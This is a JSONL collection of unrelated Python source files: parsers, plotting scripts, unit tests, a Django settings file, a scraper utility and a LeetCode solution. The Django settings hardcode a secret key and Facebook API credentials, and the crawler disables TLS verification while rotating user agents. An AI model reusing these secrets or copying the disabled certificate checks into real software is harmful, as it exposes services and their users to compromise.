self.log('string of length {}'.format(length), 4)\n if length != 0:\n buffer = self._io_stream.read(length * 2)\n string = buffer.decode('utf-16')\n terminator = binascii.hexlify(self._io_stream.read(2))\n\n self.log('found string \"{}\"'.format(string))\n if not terminator == b'0000':\n raise UnreadableSymbolException('Invalid string terminator')\n else:\n string = ''\n\n if not self.tolerant and expected is not None:\n if isinstance(expected, (tuple, list)):\n assert string in expected, 'Got \"{}\", expected {}'.format(string, expected)\n else:\n assert string == expected, 'Got \"{}\", expected {}'.format(string, expected)\n\n return string\n\n def read_string_terminated(self, debug_string: str = '', expected=None) -> str:\n \"\"\"\n Decodes a string from the binary, with no length but scanning for terminators\n \"\"\"\n if debug_string:\n self.log('start {}'.format(debug_string))\n\n string = ''\n res = self.read(2)\n while res != b'\\x00\\x00':\n string += res.decode('utf-16')\n res = self.read(2)\n\n self.log('found string \"{}\"'.format(string))\n\n if not self.tolerant and expected is not None:\n if isinstance(expected, (tuple, list)):\n assert string in expected, 'Got \"{}\", expected {}'.format(string, expected)\n else:\n assert string == expected, 'Got \"{}\", expected {}'.format(string, expected)\n\n return string\n\n def read_ascii(self, debug_string: str = '', expected=None, length=None) -> str:\n \"\"\"\n Decodes an ascii string from the binary\n \"\"\"\n if debug_string:\n self.log('start {}'.format(debug_string))\n\n length = length if length is not None else unpack(\" Optional[Object]:\n \"\"\"\n Creates and reads a new object from the stream\n \"\"\"\n clsid = self.read_clsid(debug_string)\n try:\n res = REGISTRY.create_object(clsid)\n except CustomExtensionClsidException as e:\n self.debug_depth += 1\n self.log('!!!Custom extension encountered -- cannot read ({})'.format(e), 16)\n self.debug_depth -= 1\n raise e\n\n if res is not None:\n self.log('** {} **'.format(res.__class__.__name__), 16)\n else:\n self.log('{} not found'.format(debug_string), 16)\n\n if res is not None:\n self.debug_depth += 1\n\n version = 1\n compatible_versions = res.compatible_versions()\n if compatible_versions is not None:\n version = self.read_ushort('version')\n if version not in res.compatible_versions():\n supported_versions = ','.join([str(v) for v in res.compatible_versions()])\n raise UnsupportedVersionException(\n 'Cannot read {} version {}, only support version(s): {}'.format(\n res.__class__.__name__, version, supported_versions))\n\n res.version = version\n try:\n res.read(self, version)\n except CustomExtensionClsidException as e:\n self.log('!!!Custom extension encountered -- only partial read of {}'.format(res.__class__.__name__),\n 16)\n e.custom_object = res\n self.debug_depth -= 1\n raise e\n self.log('ended {}'.format(res.__class__.__name__))\n\n if self.debug:\n print('')\n self.debug_depth -= 1\n\n return res\n\n def read_variant(self, variant_type=None, debug_string: str = '', expected=None): # pylint: disable=too-many-branches\n \"\"\"\n Reads a variant value from the stream\n \"\"\"\n if debug_string:\n self.log('reading variant {}'.format(debug_string))\n if variant_type is None:\n variant_type = self.read_ushort('type')\n if variant_type == Stream.VBSTRING:\n value = self.read_string('value')\n elif variant_type == Stream.VBLONG:\n value = self.read_ulong('value')\n elif variant_type == Stream.VBSINGLE:\n value = self.read_int('value')\n elif variant_type == Stream.VBINTEGER:\n value = self.read_ushort('value')\n elif variant_type in (Stream.VBNULL, Stream.VBEMPTY):\n value = None\n elif variant_type == Stream.VBDOUBLE:\n value = self.read_double('value')\n elif variant_type == Stream.VBBOOLEAN:\n value = self.read_ushort('value') != 0\n elif variant_type == Stream.VBDATE:\n value = datetime.strftime(\n datetime(year=100, month=1, day=1) + timedelta(days=self.read_double('value') + 657434),\n '%Y-%m-%d %H:%M:%S')\n elif variant_type == Stream.USER_PASSWORD:\n length = self.read_uint('password length')\n value = '*' * length\n self.read(length)\n elif variant_type == Stream.VBDATAOBJECT:\n value = self.read_object('value')\n else:\n raise UnreadableSymbolException('Unknown property type {}'.format(variant_type))\n\n if not self.tolerant and expected is not None:\n if isinstance(expected, (tuple, list)):\n assert value in expected, 'Got {}, expected {}'.format(value, expected)\n else:\n assert value == expected, 'Got {}, expected {}'.format(value, expected)\n\n return value\n","sub_path":"slyr_community/parser/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":16507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"16483647","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/nushell/examples/pokemon/nu_plugin_pokemon.py\n# Compiled at: 2019-10-24 11:59:16\n# Size of source mod 2**32: 3232 bytes\nfrom nushell.sink import SinkPlugin\nfrom pokemon.master import get_pokemon, catch_em_all\nfrom pokemon.skills import get_ascii, get_avatar\n\ndef list_pokemon(do_sort=False):\n \"\"\"print list of all names of pokemon in database\n\n Parameters\n ==========\n do_sort: return list of sorted pokemon (ABC)\n \"\"\"\n names = catch_em_all(return_names=True)\n if do_sort:\n names.sort()\n for name in names:\n try:\n print(name)\n except:\n pass\n\n\ndef catch_pokemon():\n \"\"\"use the get_pokemon function to catch a random pokemon, return it\n (along with stats!) as a single string\n \"\"\"\n catch = get_pokemon()\n for pokemon_id, meta in catch.items():\n response = meta['ascii']\n response = '%s\\n%s %s' % (response, meta['name'], meta['link'])\n print(response)\n\n\ndef sink(plugin, params):\n \"\"\"sink will be executed by the calling SinkPlugin when method is \"sink\"\n and should be able to parse the dictionary of params and respond\n appropriately. Since this is a sink, whatever you print to stdout\n will show for the user. Useful functions:\n\n plugin.logger.\n \"\"\"\n if params.get('catch', False):\n plugin.logger.info('We want to catch a random pokemon!')\n catch_pokemon()\n else:\n if params.get('list', False):\n plugin.logger.info('We want to list Pokemon names.')\n list_pokemon()\n else:\n if params.get('list-sorted', False):\n plugin.logger.info('We want to list sorted Pokemon names.')\n list_pokemon(do_sort=True)\n else:\n if params.get('avatar', '') != '':\n plugin.logger.info('We want a pokemon avatar!')\n catch = get_avatar(params['avatar'])\n else:\n if params.get('pokemon', '') != '':\n get_ascii(name=(params['pokemon']))\n else:\n print(plugin.get_help())\n\n\ndef main():\n plugin = SinkPlugin(name='pokemon', usage='Catch an asciinema pokemon on demand.')\n plugin.add_named_argument('catch', 'Switch', usage='catch a random pokemon')\n plugin.add_named_argument('list', 'Switch', usage='list pokemon names')\n plugin.add_named_argument('list-sorted', 'Switch', usage='list sorted names')\n plugin.add_named_argument('avatar', 'Optional', 'String', 'generate avatar')\n plugin.add_named_argument('pokemon', 'Optional', 'String', 'get pokemon')\n plugin.run(sink)\n\n\nif __name__ == __main__:\n main()","sub_path":"pycfiles/nushell-0.0.16-py3.7/nu_plugin_pokemon.cpython-37.py","file_name":"nu_plugin_pokemon.cpython-37.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"106032121","text":"import logging\nimport sys\nimport os\nimport unittest\nsys.path.insert(0, os.path.abspath('.'))\nsys.path.insert(0, os.path.abspath('../'))\nfrom analyze.effects import introduced_total_effect, total_effect\nfrom analyze.value_of_information import admits_voi, admits_voi_list\nfrom core.cpd import FunctionCPD\nfrom examples.simple_cids import get_minimal_cid, get_trim_example_cid\nfrom examples.story_cids import get_introduced_bias, get_content_recommender, get_fitness_tracker, \\\n get_modified_content_recommender, get_grade_predictor\nfrom analyze.requisite_graph import requisite, requisite_graph\nfrom analyze.value_of_control import admits_voc, admits_voc_list, admits_indir_voc, admits_indir_voc_list, \\\n admits_dir_voc, admits_dir_voc_list\nfrom analyze.response_incentive import admits_ri, admits_ri_list\nfrom analyze.instrumental_control_incentive import admits_ici, admits_ici_list\nfrom core.macid import MACID\n\n\nclass TestAnalyze(unittest.TestCase):\n\n def setUp(self) -> None:\n logging.disable()\n\n # @unittest.skip(\"\")\n def test_value_of_information(self) -> None:\n cid = get_introduced_bias()\n self.assertTrue(admits_voi(cid, 'D', 'A'))\n self.assertEqual(set(admits_voi_list(cid, 'D')), {'A', 'X', 'Z', 'Y'})\n cid2 = get_grade_predictor()\n self.assertCountEqual(admits_voi_list(cid2, 'P'), ['HS', 'E', 'Gr'])\n self.assertFalse(admits_voi(cid2, 'P', 'Ge'))\n with self.assertRaises(Exception):\n admits_voi(cid2, 'P', 'A')\n with self.assertRaises(Exception):\n admits_voi(cid2, 'B', 'Ge')\n cid2.remove_edge('HS', 'P')\n self.assertCountEqual(admits_voi_list(cid2, 'P'), ['R', 'HS', 'E', 'Gr'])\n\n # @unittest.skip(\"\")\n def test_total_effect(self) -> None:\n cid = get_minimal_cid()\n cid.impute_random_policy()\n self.assertEqual(total_effect(cid, 'A', 'B', 0, 1), 1)\n cid = get_introduced_bias()\n cid.impute_random_policy()\n self.assertEqual(total_effect(cid, 'A', 'X', 0, 1), 0.5)\n self.assertEqual(total_effect(cid, 'A', 'D', 0, 1), 0)\n self.assertEqual(total_effect(cid, 'A', 'Y', 0, 1), 0.5)\n\n # @unittest.skip(\"\")\n def test_introduced_total_effect(self) -> None:\n cid = get_introduced_bias()\n cid.impute_random_policy()\n self.assertEqual(introduced_total_effect(cid, 'A', 'D', 'Y', 0, 1), -0.5)\n cid.impute_conditional_expectation_decision('D', 'Y')\n self.assertAlmostEqual(introduced_total_effect(cid, 'A', 'D', 'Y', 0, 1), 0.3333, 2)\n # Try modified model where X doesn't depend on Z\n cid = get_introduced_bias()\n cid.impute_random_policy()\n cid.add_cpds(FunctionCPD('X', lambda a, z: a, evidence=['A', 'Z']))\n cid.impute_conditional_expectation_decision('D', 'Y')\n self.assertAlmostEqual(introduced_total_effect(cid, 'A', 'D', 'Y', 0, 1), 0, 2)\n # Try modified model where Y doesn't depend on Z\n cid = get_introduced_bias()\n cid.impute_random_policy()\n cid.add_cpds(FunctionCPD('Y', lambda x, z: x, evidence=['X', 'Z']))\n cid.impute_conditional_expectation_decision('D', 'Y')\n self.assertAlmostEqual(introduced_total_effect(cid, 'A', 'D', 'Y', 0, 1), 0, 2)\n # Try modified model where Y doesn't depend on X\n cid = get_introduced_bias()\n cid.impute_random_policy()\n cid.add_cpds(FunctionCPD('Y', lambda x, z: z, evidence=['X', 'Z']))\n cid.impute_conditional_expectation_decision('D', 'Y')\n self.assertAlmostEqual(introduced_total_effect(cid, 'A', 'D', 'Y', 0, 1), 0.333, 2)\n\n def test_requisite_graph(self) -> None:\n cid = get_trim_example_cid()\n self.assertFalse(requisite(cid, 'D2', 'D1'))\n self.assertTrue(requisite(cid, 'D2', 'Y2'))\n self.assertCountEqual(cid.get_parents('D2'), ['Y1', 'Y2', 'D1', 'Z1', 'Z2'])\n self.assertEqual(len(cid.edges), 12)\n req_graph = requisite_graph(cid)\n self.assertEqual(len(req_graph.edges), 7)\n self.assertCountEqual(req_graph.get_parents('D2'), ['Y2'])\n\n def test_value_of_control(self) -> None:\n cid = get_content_recommender()\n self.assertCountEqual(admits_voc_list(cid), ['O', 'I', 'M', 'C'])\n cid2 = get_modified_content_recommender()\n self.assertCountEqual(admits_voc_list(cid2), ['O', 'M', 'C'])\n self.assertTrue(admits_voc(cid2, 'M'))\n self.assertFalse(admits_voc(cid2, 'I'))\n with self.assertRaises(Exception):\n admits_voc(cid2, 'A')\n with self.assertRaises(Exception):\n admits_voc(cid2, 'J')\n macid = MACID([('D1', 'D2'),\n ('D1', 'U1'),\n ('D1', 'U2'),\n ('D2', 'U2'),\n ('D2', 'U1')],\n {0: {'D': ['D1'], 'U': ['U1']},\n 1: {'D': ['D2'], 'U': ['U2']}})\n with self.assertRaises(Exception):\n admits_voc(macid, 'D2')\n with self.assertRaises(Exception):\n admits_voc_list(macid)\n\n def test_instrumental_control_incentive(self) -> None:\n cid = get_content_recommender()\n self.assertTrue(admits_ici(cid, 'P', 'I'))\n self.assertFalse(admits_ici(cid, 'P', 'O'))\n self.assertCountEqual(admits_ici_list(cid, 'P'), ['I', 'P', 'C'])\n with self.assertRaises(Exception):\n admits_ici(cid, 'P', 'A')\n with self.assertRaises(Exception):\n admits_ici(cid, 'B', 'O')\n macid = MACID([('D1', 'D2'),\n ('D1', 'U1'),\n ('D1', 'U2'),\n ('D2', 'U2'),\n ('D2', 'U1')],\n {0: {'D': ['D1'], 'U': ['U1']},\n 1: {'D': ['D2'], 'U': ['U2']}})\n with self.assertRaises(Exception):\n admits_ici(macid, 'D2', 'D1')\n with self.assertRaises(Exception):\n admits_ici_list(macid, 'D2')\n\n def test_response_incentive(self) -> None:\n cid = get_grade_predictor()\n self.assertCountEqual(admits_ri_list(cid, 'P'), ['R', 'HS'])\n self.assertFalse(admits_ri(cid, 'P', 'E'))\n self.assertTrue(admits_ri(cid, 'P', 'R'))\n cid.remove_edge('HS', 'P')\n self.assertEqual(admits_ri_list(cid, 'P'), [])\n with self.assertRaises(Exception):\n admits_ri(cid, 'P', 'A')\n with self.assertRaises(Exception):\n admits_ri(cid, 'B', 'E')\n macid = MACID([('D1', 'D2'),\n ('D1', 'U1'),\n ('D1', 'U2'),\n ('D2', 'U2'),\n ('D2', 'U1')],\n {0: {'D': ['D1'], 'U': ['U1']},\n 1: {'D': ['D2'], 'U': ['U2']}})\n with self.assertRaises(Exception):\n admits_ri(macid, 'D2', 'D1')\n with self.assertRaises(Exception):\n admits_ri_list(macid, 'D2')\n\n def test_indirect_value_of_control(self) -> None:\n cid = get_fitness_tracker()\n self.assertFalse(admits_indir_voc(cid, 'C', 'TF'))\n self.assertTrue(admits_indir_voc(cid, 'C', 'SC'))\n self.assertCountEqual(admits_indir_voc_list(cid, 'C'), ['SC'])\n with self.assertRaises(Exception):\n admits_indir_voc(cid, 'C', 'A')\n with self.assertRaises(Exception):\n admits_indir_voc(cid, 'B', 'TF')\n macid = MACID([('D1', 'D2'),\n ('D1', 'U1'),\n ('D1', 'U2'),\n ('D2', 'U2'),\n ('D2', 'U1')],\n {0: {'D': ['D1'], 'U': ['U1']},\n 1: {'D': ['D2'], 'U': ['U2']}})\n with self.assertRaises(Exception):\n admits_indir_voc(macid, 'D2', 'D1')\n with self.assertRaises(Exception):\n admits_indir_voc_list(macid, 'D2')\n\n def test_direct_value_of_control(self) -> None:\n cid = get_fitness_tracker()\n self.assertFalse(admits_dir_voc(cid, 'TF'))\n self.assertTrue(admits_dir_voc(cid, 'F'))\n self.assertCountEqual(admits_dir_voc_list(cid), ['F', 'P'])\n with self.assertRaises(Exception):\n admits_dir_voc(cid, 'B')\n macid = MACID([('D1', 'D2'),\n ('D1', 'U1'),\n ('D1', 'U2'),\n ('D2', 'U2'),\n ('D2', 'U1')],\n {0: {'D': ['D1'], 'U': ['U1']},\n 1: {'D': ['D2'], 'U': ['U2']}})\n with self.assertRaises(Exception):\n admits_dir_voc(macid, 'D2')\n with self.assertRaises(Exception):\n admits_dir_voc_list(macid)\n\n\nif __name__ == \"__main__\":\n suite = unittest.defaultTestLoader.loadTestsFromTestCase(TestAnalyze)\n unittest.TextTestRunner().run(suite)\n\n# %%\n","sub_path":"test/test_analyze.py","file_name":"test_analyze.py","file_ext":"py","file_size_in_byte":8819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"495664656","text":"\nimport subprocess as subp\nimport sys\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Input handling\nif len(sys.argv) != 1 + 1:\n print('One argument required.\\n'\n 'Usage: %s ' % sys.argv[0])\n sys.exit(1)\ntry:\n n = int(sys.argv[1])\nexcept ValueError:\n print('Invalid argument. Int expected.')\n sys.exit(1)\n\n# Extract output\nd = np.arange(2, n)\ntime_own = np.zeros(n - 2)\ntime_arma = np.zeros(n - 2)\nfor i in range(len(d)):\n try:\n lines = subp.check_output(['./timing', str(d[i])]).decode('utf-8').split('\\n')\n time_own[i], time_arma[i] = lines\n except subp.CalledProcessError as e:\n print('Command \"%s\" failed with error:\\n %s' % (' '.join(e.cmd),\n e.stdout.decode()))\n sys.exit(1)\n\n# Plot\nplt.rc('text', usetex=True)\nplt.rc('font', family='serif')\n\nplt.plot(d, 1e3 * time_own, label='own implementation')\nplt.plot(d, 1e3 * time_arma, label='Armadillo implementation')\n\nfit_own = np.polyfit(d, time_own, 2)\nfit_own_x = np.linspace(2, n, 1000)\nfit_own_y = np.poly1d(fit_own)\nplt.plot(fit_own_x, 1e3 * fit_own_y(fit_own_x), '--',\n label=r'own fit: $%.1fx^2%+.1fx%+.1f$' % tuple(1e3 * fit_own))\n\nfit_arma = np.polyfit(d, time_arma, 2)\nfit_arma_x = np.linspace(2, n, 1000)\nfit_arma_y = np.poly1d(fit_arma)\nplt.plot(fit_arma_x, 1e3 * fit_arma_y(fit_arma_x), '--',\n label=r'Armadillo fit: $%.1fx^2%+.1fx%+.1f$' % tuple(1e3 * fit_arma))\n\nplt.xlabel('number of discretization points')\nplt.ylabel(r'$\\mathrm{time/ms}$')\nplt.legend()\nplt.show()\n","sub_path":"project2/analyse_timing.py","file_name":"analyse_timing.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"411744321","text":"#!/usr/bin/env python\n\nfrom __future__ import division\n\nimport argparse\nimport os.path as osp\n\nimport chainer\nimport scipy.misc\n\nimport fcn\n\nfrom dataset import APC2015Dataset\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--gpu', default=0, type=int,\n help='if -1, use cpu only (default: 0)')\n parser.add_argument('-c', '--chainermodel', required=True)\n parser.add_argument('-i', '--img-files', nargs='+', required=True)\n args = parser.parse_args()\n\n img_files = args.img_files\n gpu = args.gpu\n chainermodel = args.chainermodel\n save_dir = chainer.dataset.get_dataset_directory(\n 'fcn/examples/apc2015/inference')\n\n dataset = APC2015Dataset('val')\n\n model = fcn.models.FCN32s(n_class=len(dataset.label_names))\n chainer.serializers.load_hdf5(chainermodel, model)\n\n infer = fcn.Inferencer(dataset, model, gpu)\n for img_file in img_files:\n img, label = infer.infer_image_file(img_file)\n out_img = infer.visualize_label(img, label)\n\n out_file = osp.join(save_dir, osp.basename(img_file))\n scipy.misc.imsave(out_file, out_img)\n print('- out_file: {0}'.format(out_file))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/apc2015/infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"356980129","text":"class User:\n def __init__(self, name):\n self.name = name\n\n enter = input(f\"{self.name} enter choice... \")\n\n if enter == \"1\" or enter == \"2\" or enter == \"3\":\n self.choice = enter - 1\n else:\n print(\"Введите число от 1 до 3\")\n exit()\n","sub_path":"kanobu/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"295174957","text":"\ntry:\n from djangoappengine.settings_base import *\n has_djangoappengine = True\nexcept ImportError:\n has_djangoappengine = False\n DEBUG = True\n TEMPLATE_DEBUG = DEBUG\n \nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nimport os\n\nSERVE_FILE_BACKEND = 'filetransfers.backends.blobsendfile.serve_file'\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'djangotoolbox',\n 'filetransfers',\n 'search',\n 'gmp',\n 'gmpadmin',\n 'openid_login',\n)\n\nUSE_I18N = False\n\nif has_djangoappengine:\n INSTALLED_APPS = ('djangoappengine',) + INSTALLED_APPS\n\nADMIN_MEDIA_PREFIX = '/media/admin/'\nMEDIA_ROOT = os.path.join(os.path.dirname(__file__), 'media')\nTEMPLATE_DIRS = (os.path.join(os.path.dirname(__file__), 'templates'),)\n\nROOT_URLCONF = 'urls'\n\nSECRET_KEY = '=r-$b*8hglm+858&9t043hlm6-&6-3d3vfc4((7yd0dbrakhvi'\n\n# Activate django-dbindexer if available\ntry:\n import dbindexer\n DATABASES['native'] = DATABASES['default']\n DATABASES['default'] = {'ENGINE': 'dbindexer', 'TARGET': 'native'}\n INSTALLED_APPS += ('dbindexer',)\nexcept ImportError:\n pass\n\nCACHE_BACKEND = 'memcached://?timeout=0'\n\n# Green Mountain Project settings\nTHUMBNAIL_GEOMETRY_16_9 = (160, 90)\nTHUMBNAIL_GEOMETRY_1_1 = (128, 128)\nPREVIEW_GEOMETRY = (660, 540)\nMIN_GEOMETRY = (640, 480)\n\n\nDEFAULT_PREVIEW_WIDTH = 660\nDEFAULT_PREVIEW_HEIGHT = 540\nMIN_PHOTO_WIDTH = 640\nMIN_PHOTO_HEIGHT = 480\n\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend',\n 'openid_login.gae_federated_backend.GAEFederatedBackend',\n 'openid_login.facebook_backend.FacebookBackend',\n)\n \nLOGIN_URL = '/openid_login/'\nLOGOUT_URL = '/openid_login/logout'\n \nAPI_VERSION = '12'\n\nADMINS = (\n ('Dan Julius', 'dan.julius@gmail.com'),\n)\n \nMANAGERS = ADMINS\n \nAUTH_PROFILE_MODULE = 'gmp.UserProfile'\n\nFACEBOOK_APP_ID='186932087992297'\nFACEBOOK_API_KEY='a6cc04e8b615f93260862be5942a2743'\nFACEBOOK_SECRET_KEY='efb45e58dd894c3bf17371f08546eecc'\nFACEBOOK_INTERNAL = False\n\n","sub_path":"main/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"49361284","text":"#!/usr/bin/python3\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom statistics import mean\nfrom collections import Counter\n# #from sklearn.linear_model import LinearRegression\n# from sklearn import linear_model\n# from sklearn.metrics import mean_squared_error, r2_score\n\n\ndata_1 = np.loadtxt('3_c_dataStrong.dat')\ndata_2 = np.loadtxt('3_c_dataWeak.dat')\n# data_3 = np.loadtxt('trap_ompl2.dat')\n\n\nN = data_1[:, 0]\nerr = data_1[:, 2]\nerr_1 = data_2[:, 2]\n\n\n# Plotting\nfig = plt.figure()\nplt.loglog(N, err, 'black', label='Abs Error: Serial Data',\n marker='o', markerfacecolor='red', markersize=4)\nplt.loglog(N, err_1, 'blue', label='Abs Error: Parallel Data', marker='o',\n markerfacecolor='black', markersize=4)\n## Theoritical error of MC: err is proportional to Itr ^ (-1/2) ###\nplt.loglog(N, 1000/np.sqrt(N), 'green', label='Theory:'r'$E(N)\\propto N^{-1/2}$', marker='o',\n markerfacecolor='black', markersize=4)\n# plt.loglog(N, y_3, 'green', label='trap_ompl2 Error', marker='o',\n# markerfacecolor='red', markersize=4)\n\nplt.legend()\nplt.grid(True)\nplt.minorticks_on()\n# Customize the major grid\nplt.grid(which='major', linestyle='-', linewidth='0.5', color='black')\n# Customize the minor grid\nplt.grid(which='minor', linestyle='--', linewidth='0.5', color='black')\n\nplt.xlabel('Iteration, N')\nplt.ylabel('Abs Error')\n# plt.title('Numerical Intergration: Err vs Iteration')\n# plt.show()\nfig.savefig(\"Comparison between serial and parallel_1.png\",\n bbox_inches=\"tight\")\nplt.show()\n","sub_path":"Home Works/HW_3/Code/Task 3/plotAbs.py","file_name":"plotAbs.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"525174030","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on 2020-03-27 01:23 \n\n@author: congyingxu\n\"\"\"\n\nimport os\nimport random\nimport time\n\nimport requests\nfrom urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nimport UserAgents\n\ndef request_url(url):\n print('------------------------- url:' + url)\n headers = {'User-Agent': random.choice(UserAgents.agents)}\n url_content = requests.get(url, headers=headers, verify=False)\n # requests.\n return url_content\n\n\ndef session_get_url(url):\n # 参考博客 https://segmentfault.com/q/1010000008473868\n print('------------------------- url:' + url)\n session = requests.Session()\n session.headers = {\n 'User-Agent': random.choice(UserAgents.agents),\n 'Host': 'api.sourceclear.com',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Connection': 'keep-alive',\n 'Cookie': 'sp_collector=430868eb-0555-41b2-b1a1-2f81d74b93f5',\n 'Upgrade-Insecure-Requests': '1'\n }\n\n\n try :\n url_content = session.get(url,timeout=10)\n except:\n print(\"requests.exceptions.ReadTimeout\")\n for i in range(130):\n print(i)\n time.sleep(1)\n print(\"requests.exceptions.ReadTimeout. sleep over\")\n url_content = session.get(url, timeout=10)\n return url_content\n\n\ndef save_file_from_url(url, path):\n if os.path.exists(path):\n return\n time.sleep(random.randint(1, 3))\n headers = {'User-Agent': random.choice(UserAgents.agents)}\n package = requests.get(url, headers=headers)\n with open(path, \"wb\") as f:\n f.write(package.content)\n f.close()","sub_path":"CVE_HW_DatasetComparison/CrawlVearcode/CrawlUtil.py","file_name":"CrawlUtil.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"124316790","text":"from datetime import datetime, timezone\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom freemoney.models import (ApplicantProfile,\n Application,\n Award,\n CustomValidationIssueSet,\n Essay,\n EssayPrompt,\n Semester)\n\n\nclass EssayPromptTests(TestCase):\n \"\"\"Test the validation of Essay responses within an Application\"\"\"\n\n def setUp(self):\n self.applicant = ApplicantProfile.objects.create(\n user=get_user_model().objects.create_user(\n username='test1234@example.com',\n password='pass1234'\n ),\n must_change_password=False\n )\n self.application = Application.objects.create(\n applicant=self.applicant,\n due_at = datetime(2016, 11, 15, tzinfo=timezone.utc)\n )\n\n def test_max_length(self):\n \"\"\"Verify that the word count is enforced\"\"\"\n prompt = EssayPrompt.objects.create(\n identifier='test',\n prompt='This is a test!',\n word_limit=6,\n previous_version=None\n )\n essay = Essay.objects.create(\n application=self.application,\n prompt=prompt,\n response = \"\"\"lorem ipsum! facto blargson\n\n test text\"\"\"\n )\n\n issues = CustomValidationIssueSet()\n self.application.custom_validate(issues)\n found_issues = issues.search(section='essay',\n code='max-length')\n self.assertEqual(len(found_issues), 0)\n\n # Only one more word is needed to meet the advertised limit, but the\n # code is generous and makes this a \"soft\" limit; add several more\n # words to test the \"hard\" limit\n essay.response += ' anotherword!' * 6\n essay.full_clean()\n essay.save()\n self.application.custom_validate(issues)\n found_issues = issues.search(section='essay',\n code='max-length')\n self.assertEqual(len(found_issues), 1)\n first_iter = iter(found_issues)\n self.assertNotEqual(next(first_iter).subfield, None)\n\n\nclass EssayPromptAvailabilityTests(TestCase):\n \"\"\"Verify that EssayPrompts are available under specific circumstances\"\"\"\n\n def setUp(self):\n self.old = EssayPrompt.objects.create(\n identifier='test',\n prompt='This is a test!',\n word_limit=500,\n previous_version=None\n )\n self.mid = EssayPrompt.objects.create(\n identifier='test',\n prompt='This is a newer test!',\n word_limit=500,\n previous_version=self.old\n )\n self.new = EssayPrompt.objects.create(\n identifier='test',\n prompt='This is the newest test!',\n word_limit=500,\n previous_version=self.mid\n )\n\n def test_latest_essay_prompt_nominal(self):\n \"\"\"Check that the latest version of an essay prompt is returned\"\"\"\n self.assertEqual(self.new,\n EssayPrompt.objects.latest_version_of('test'))\n\n def test_latest_essay_prompt_with_cycle(self):\n \"\"\"Verify graceful handling of an infinite foreign key loop\"\"\"\n\n self.old.previous_version = self.new\n self.old.full_clean()\n self.old.save()\n with self.assertRaises(ValueError):\n EssayPrompt.objects.latest_version_of('test')\n\n def test_latest_essay_prompt_with_split(self):\n \"\"\"Verify graceful handling of a *split* or *branched* prompt\"\"\"\n\n self.mid.previous_version = None\n self.mid.full_clean()\n self.mid.save()\n with self.assertRaises(ValueError):\n EssayPrompt.objects.latest_version_of('test')\n\n def test_latest_essay_prompt_with_selfcycles(self):\n \"\"\"The worst case: each prompt points to itself, independently\"\"\"\n\n for essay in EssayPrompt.objects.filter(identifier='test'):\n essay.previous_version = essay\n essay.save()\n with self.assertRaises(ValueError):\n EssayPrompt.objects.latest_version_of('test')\n","sub_path":"freemoney/models/test_essay.py","file_name":"test_essay.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"537356571","text":"\"\"\"\n 给出 n 代表生成括号的对数,请你写出一个函数,使其能够生成所有可能的并且有效的括号组合。\n 例如���给出 n = 3,生成结果为:\n [\n \"((()))\",\n \"(()())\",\n \"(())()\",\n \"()(())\",\n \"()()()\"\n ]\n\n\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n def generateParenthesis(self, n: int) -> List[str]:\n res = []\n if n > 0:\n self.recursive(0, 0, n, \"\", res)\n return res\n\n @classmethod\n def recursive(cls, left: int, right: int, n: int, s: str, res: List[str]) -> None:\n # terminator\n if left == right == n:\n res.append(s)\n return\n\n # code logic\n if left < n:\n # drill down\n cls.recursive(left + 1, right, n, s + \"(\", res)\n\n if right < left:\n # drill down\n cls.recursive(left, right + 1, n, s + \")\", res)\n\n\nif __name__ == \"__main__\":\n print(Solution().generateParenthesis(3))\n","sub_path":"Week_03/G20200343030545/LeetCode_22_545.py","file_name":"LeetCode_22_545.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
